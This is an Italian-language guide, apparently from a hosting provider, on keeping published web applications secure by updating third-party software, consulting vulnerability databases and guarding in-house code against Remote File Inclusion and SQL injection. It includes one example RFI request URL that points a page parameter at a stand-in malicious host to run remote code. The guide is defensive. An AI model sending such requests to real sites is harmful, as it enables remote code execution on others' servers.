Mantenere sicure le applicazioni web pubblicate

Per non incorrere in problemi di sicurezza sulle pagine del proprio sito è necessario mantenere in sicurezza le applicazioni web pubblicate. E' infatti possibile che pagine il cui codice non è scritto in modo sicuro siano vulnerabili a vari tipi di attacchi, quali XSS o SQL injection. Questo tipo di vulnerabilità sono indipendenti dalla sicurezza del webserver, in quanto vengono sfruttate con normali richieste HTTP, appositamente formate per utilizzare il codice delle pagine web in modo fraudolento.

 Le operazioni da effettuare periodicamente per evitare questo tipo di problema si differenziano nel caso in cui si utilizzi un'applicazione web sviluppata da terzi oppure una sviluppata in proprio.

APPLICAZIONI SVILUPPATE DA TERZI

Per pubblicare il proprio sito è possibile trovare in rete una moltitudine di applicazioni "preconfezionate" scritte in vari linguaggi e con supporto a diversi tipi di database. Le tipologie di questi applicativi comprendono forum, e-commerce, webmail, guestbook e molto altro ancora. Tutti questi applicativi possono presentare vulnerabilità di vario genere sfruttabili da un malintenzionato. Per prevenire questo tipo di problemi è necessario verificare periodicamente la presenza di versioni aggiornate delle applicazioni utilizzate, in genere gli aggiornamenti sono disponibili direttamente dalla home page dello sviluppatore.

 Purtroppo non sempre un'applicazione aggiornata alla sua ultima versione è sicura, per reperire informazioni sulle vulnerabilità note e su quali versioni di applicativo ne sono affette sono disponibili due ottimi siti:

http://www.securityfocus.com/vulnerabilities
http://secunia.com/search/

Nel caso in cui una delle applicazioni che si sta utilizzando non sia attualmente sicura è caldamente consigliato di sospenderne l'utilizzo oppure cercare un'applicazione similare non affetta da vulnerabilità.

Il controllo degli aggiornamenti disponibili per le applicazioni utilizzate deve essere fatto periodicamente. Per essere efficace va ripetuto almeno una volta al mese.

In caso venga interrotto definitivamente il supporto all'applicazione utilizzata è consigliabile passare quanto prima ad un altro applicativo dello stesso tipo che sia ancora attivamente supportato.

APPLICAZIONI SVILUPPATE IN PROPRIO

La cosa più importante per le applicazioni sviluppate in proprio è realizzarle in modo che non siano vulnerabili perlomeno a RFI (Remote File Inclusion), tecnica che permette di richiamare via Url il contenuto di una pagina differente da quella caricata e visualizzare sensibili informazioni sul contenuto del vostro sito. In genere questo tipo di vulnerabilità viene sfruttato con richieste HTTP simili alla seguente :

http:// www.nomedominio.com/index.php?agina=http://www.sitomalevolo.com/malware.php ?

Dove index.php è la propria pagina web contenente la vulnerabilità e malware.php è invece una pagina con codice malevolo pubblicata su un server esterno. Tramite queste richieste viene tentata l'esecuzione del codice malevolo remoto sul server dove risiede il proprio dominio.

E' molto importante anche evitare SQLInjection (inoculazione di query sql indesiderate) sul proprio database mysql-mssql. Una descrizione di questo tipo di vulnerabilità si può trovare nella pagina: http://it.wikipedia.org/wiki/SQL_injection

In rete sono disponibili numerose guide per la scrittura di codice sicuro nei vari linguaggi di programmazione.